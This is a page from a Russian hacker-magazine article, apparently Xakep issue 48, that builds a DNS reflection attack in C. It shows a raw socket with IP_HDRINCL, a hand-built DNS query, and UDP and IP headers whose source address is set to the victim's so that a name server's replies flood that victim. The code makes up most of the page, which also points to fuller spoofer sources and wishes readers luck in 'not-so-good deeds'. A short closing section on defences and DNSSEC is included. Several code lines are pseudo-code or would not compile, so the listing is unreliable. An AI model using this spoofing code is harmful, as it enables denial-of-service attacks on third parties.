Агрессивная атака: DNS-UDP-IP спуфер

Xakep, номер #048, стр. 048-068-4


exit(3);

}

Здесь, в общем, все понятно, кроме самой опции. Уровень IPv4 генерирует заголовок IP при посылке пакета, если только сокету не задана опция IP_HDRINCL. А нам заголовок нужно делать самим. Соответственно и данная опция должна быть. Вот у нас уже и поднят raw сокет с нужными опциями, остается заполнить соответствующие структуры и все это отослать.

Структура DNS пакета

Сначала займемся dns пакетом. Создадим структуру dns_msg, в которую будут входить header и quastion секции:

struct DNS_MSG

{

HEADER head; /* header */

char query[255]; /* quastion */

};

После этого опишем функцию-член killer этой структурой.

struct DNS_MSG killer;

И заполним поля (только те, которые действительно нужны):

memset(&killer, 0, sizeof(killer));

killer.head.id=getpid();

killer.head.rd=1;

killer.head.aa=0;

killer.head.opcode=QUERY;

killer.head.qr=0;

killer.head.qdcount=htons(1);

killer.head.ancount=htons(0);

killer.head.nscount=htons(0);

killer.head.arcount=htons(0);

killer.query="домен, который запрашиваем";

killer.query=0x00FF;

killer.query=0x0001;

Чтобы потом не забыть, сразу создадим структуру всего, что мы отошлем:

struct dns_pkt

{

struct iphdr ip;

struct udphdr udp;

char data[1000];

};

Создание UDP заголовка

Далее нам нужно добавить udp заголовок. Поступим с ним также и заполним поля:

struct dns_pkt dpk;

dpk.udp.source=src;

dpk.udp.dest=dst;

len=(12+strlen(killer.query)+5);

dpk.udp.len=htons(20+len);

memcpy(dpk.data, (void*)&killer, len);

Создание IP заголовка

Осталось заполнить ip заголовок. Все точно так же:

dpk.ip.ihl=5;

dpk.ip.version=4;

dpk.ip.tos=0;

dpk.ip.tot_len=htons(ip заголовок + udp заголовок + len);

dpk.ip.frag_off=0;

dpk.ip.ttl=64;

dpk.ip.protocol=IPPROTO_UDP;

dpk.ip.saddr="вот тут у нас жертва"

dpk.ip.daddr="а вот тут ip name server'a"

Здесь нужно упомянуть, что sockaddr_in должна быть обязательно(!) заполнена, хотя, в общем, она не используется. Т.е. после описания заголовков и dns пакета заполним sockaddr_in:

struct sockaddr_in sin;

memset(&sin, 0, sizeof(sin));

sin.sin_family=AF_INET;

sin.sin_port=dst;

sin.sin_addr.s_addr="вот тут у нас жертва";

Отправление запроса

И, наконец, отсылка:

sendto(sfd, &dpk, размер_ip_заголовка + размер_udp_заголовка + длина,

0, (struct sockaddr *)&sin, sizeof(sin));

Вот минимальный dns спуфер. Для тех, кто хочет посмотреть на полноценные сорсы - doomdns от FuSyS. И также спуфер на перле, что еще проще при наличии нужных модулей.

Итог

Как же можно защититься от такого рода атаки? Если адреса ns'ов и жертвы берутся от балды, то можно на name серверах запретить рекурсивные запросы и выдавать информацию только о своей зоне. Но если чуть-чуть поразмыслить, то можно выбрать все домены из конкретной зоны и работать с ними в цикле. Т.е. защиты, грубо говоря, нет. Разве что переписать dns протокол. Что, может, и реально в теории, но на практике - нет. Сделать надстройку над современным dns протоколом? Да, можно. Есть даже такая вещь как DNSSEC (RFC-3008). По идее, призван обеспечивать аутентификацию и целостность информации, содержащейся в DNS. Про это тоже можно написать немаленькую статейку, но это уже отдельная тема. Скажу лишь, что у DNSSEC также есть свои недостатки. Подписи, проверки и т.д., все это будет сказываться на скорости и производительности. Причем сказываться ощутимо: например, подписи могут по размеру быть больше самих данных, а над генерацией и проверкой подписей придется процессору попыхтеть (хотя кого это волнует по современным меркам?). Одним словом, все это похоже на ситуацию с переходом от ipv4 на ipv6. Так что, как всегда, все дыряво, и будущее, как всегда, туманно :). Успехов в добрых и не очень делах. И напоследок несколько примеров "умножения":

Назад на стр. 048-068-3  Содержание  Вперед на стр. 048-068-5